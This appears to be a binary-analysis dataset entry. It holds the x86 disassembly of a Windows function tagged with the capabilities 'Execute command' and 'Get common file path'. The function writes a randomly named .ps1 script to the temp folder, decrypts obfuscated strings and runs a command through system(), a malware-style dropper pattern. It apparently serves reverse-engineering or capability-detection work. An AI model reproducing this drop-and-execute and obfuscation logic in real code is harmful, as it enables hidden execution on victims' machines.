Function at 0x407c70
Capabilities:
Execute command
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40be90
mov eax, dword fs:[0]
push eax
sub esp, 0x6dc
mov eax, dword [0x410654]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x6b1]
call fcn.00406c20
mov ecx, 0x1c
lea edi, [ebp - 0x6b0]
mov esi, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x118]
mov dword [ebp - 4], 0
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x6c0]
push 8
push eax
call fcn.00405880
mov ebx, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
push dword [eax]
lea eax, [ebp - 0x118]
push 0x105
push eax
call ebx
mov eax, dword [ebp - 0x6c0]
add esp, 0x14
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test eax, eax
je 0x407d0f
push eax
call edi
add esp, 4
push str..ps1
lea eax, [ebp - 0x118]
push 0x105
push eax
call ebx
push 0x104
lea eax, [ebp - 0x118]
mov dword [ebp - 0x434], 0x3f005c
push eax
push 0x105
lea eax, [ebp - 0x42c]
mov dword [ebp - 0x430], 0x5c003f
push eax
lea eax, [ebp - 0x6bc]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
add esp, 0x20
lea eax, [ebp - 0x434]
push eax
lea eax, [ebp - 0x6e8]
push eax
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
push 0
push 0
push 0x20
push 5
push 0
push 0x80
lea eax, [ebp - 0x6e8]
mov dword [ebp - 0x6e0], 0x18
mov dword [ebp - 0x6d8], eax
lea eax, [ebp - 0x6c8]
push 0
push eax
lea eax, [ebp - 0x6e0]
mov dword [ebp - 0x6dc], 0
push eax
lea eax, [ebp - 0x6b8]
mov dword [ebp - 0x6d4], 0x40
push 0x40100000
push eax
mov dword [ebp - 0x6d0], 0
mov dword [ebp - 0x6cc], 0
call fcn.004062e0
add esp, 0x2c
test eax, eax
jne 0x407fc6
mov cl, byte [ebp - 0x640]
test cl, cl
je 0x407e19
push 0x69816393
push 0xb1f9d75f
push eax
lea eax, [ebp - 0x6b0]
push 0x70
push eax
call fcn.00401450
add esp, 0x14
xor cl, cl
mov byte [ebp - 0x640], cl
lea esi, [ebp - 0x6b0]
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x407e22
sub esi, edx
test cl, cl
je 0x407e53
push 0x69816393
push 0xb1f9d75f
push 0
lea eax, [ebp - 0x6b0]
push 0x70
push eax
call fcn.00401450
add esp, 0x14
mov byte [ebp - 0x640], 0
push 0
push 0
push esi
lea eax, [ebp - 0x6b0]
push eax
lea eax, [ebp - 0x6c8]
push eax
push 0
push 0
push 0
push dword [ebp - 0x6b8]
call fcn.00406390
push dword [ebp - 0x6b8]
mov esi, eax
call fcn.004062d0
add esp, 0x28
test esi, esi
jne 0x407fc6
lea eax, [ebp - 0x220]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x6c8]
push 8
push eax
call fcn.00405880
push dword [eax]
lea eax, [ebp - 0x220]
push 0x105
push eax
call ebx
mov eax, dword [ebp - 0x6c8]
add esp, 0x14
test eax, eax
je 0x407ed2
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x6b1]
call fcn.00407110
mov esi, eax
cmp byte [esi + 0x22], 0
je 0x407f00
push 0xd53b9969
push 0xf97ff917
push 0
push 0x22
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0x22], 0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x118]
push eax
push esi
lea eax, [ebp - 0x63c]
push 0x208
push eax
call fcn.004086e0
lea eax, [ebp - 0x63c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 0x18
lea ecx, [ebp - 0x6b1]
call fcn.00406d10
mov esi, eax
cmp byte [esi + 0xa], 0
je 0x407f5e
push 0x894f7d15
push 0xeb65df77
push 0
push 0xa
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0xa], 0
lea eax, [ebp - 0x220]
push eax
push esi
call fcn.00404d10
add esp, 8
lea ecx, [ebp - 0x6b1]
test eax, eax
jne 0x407f9f
call fcn.00407360
mov esi, eax
cmp byte [esi + 0xf], 0
je 0x407ff4
push 0xfb7b2fc9
push 0x499d8d87
push 0
push 0xf
push esi
call fcn.00401450
mov byte [esi + 0xf], 0
jmp 0x407ff1
call fcn.00406dd0
mov esi, eax
cmp byte [esi + 0x17], 0
je 0x407ff4
push 0x29cdcd4d
push 0xc7fffd3f
push 0
push 0x17
push esi
call fcn.00401450
mov byte [esi + 0x17], 0
jmp 0x407ff1
lea ecx, [ebp - 0x6b1]
call fcn.004071d0
mov esi, eax
cmp byte [esi + 0x25], 0
je 0x407ff4
push 0x71fd2555
push 0x910707b7
push 0
push 0x25
push esi
call fcn.00401450
mov byte [esi + 0x25], 0
add esp, 0x14
push esi
call fcn.00404c00
xorps xmm0, xmm0
add esp, 4
movlpd qword [ebp - 0x6c0], xmm0
mov ecx, dword [ebp - 0x6bc]
mov eax, dword [ebp - 0x6c0]
nop dword [eax]
nop dword [eax + eax]
mov byte [ebp + eax - 0x6b0], 0
add eax, 1
adc ecx, 0
jne 0x408035
cmp eax, 0x70
jb 0x408020
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret